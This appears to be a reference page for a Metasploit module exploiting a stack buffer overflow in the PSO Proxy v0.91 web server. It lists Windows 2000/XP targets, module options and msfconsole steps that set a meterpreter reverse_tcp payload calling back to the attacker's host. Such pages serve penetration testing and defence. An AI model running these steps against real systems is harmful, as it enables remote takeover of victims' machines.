PSO Proxy v0.91 Stack Buffer Overflow
This module exploits a buffer overflow in the PSO Proxy v0.91 web server. If a client sends an excessively long string the stack is overwritten.
Exploit Rank
- Average
Exploit Authors
- patrick < patrick [at] osisecurity.com.au >
Vulnerability References
Exploit Targets
- 0 - Windows 2000 Pro SP0-4 English
- 1 - Windows 2000 Pro SP0-4 French
- 2 - Windows 2000 Pro SP0-4 Italian
- 3 - Windows XP Pro SP0/1 English
- 4 - Windows XP Pro SP2 English
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/http/psoproxy91_overflow
msf exploit(psoproxy91_overflow) > show payloads
msf exploit(psoproxy91_overflow) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psoproxy91_overflow) > set LHOST [MY IP ADDRESS]
msf exploit(psoproxy91_overflow) > set RHOST [TARGET IP]
msf exploit(psoproxy91_overflow) > show targets
msf exploit(psoproxy91_overflow) > set TARGET [TARGET ID]
msf exploit(psoproxy91_overflow) > exploit
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msf > use exploit/windows/http/psoproxy91_overflow
msf exploit(psoproxy91_overflow) > show payloads
msf exploit(psoproxy91_overflow) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psoproxy91_overflow) > set LHOST [MY IP ADDRESS]
msf exploit(psoproxy91_overflow) > set RHOST [TARGET IP]
msf exploit(psoproxy91_overflow) > show targets
msf exploit(psoproxy91_overflow) > set TARGET [TARGET ID]
msf exploit(psoproxy91_overflow) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 8080) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |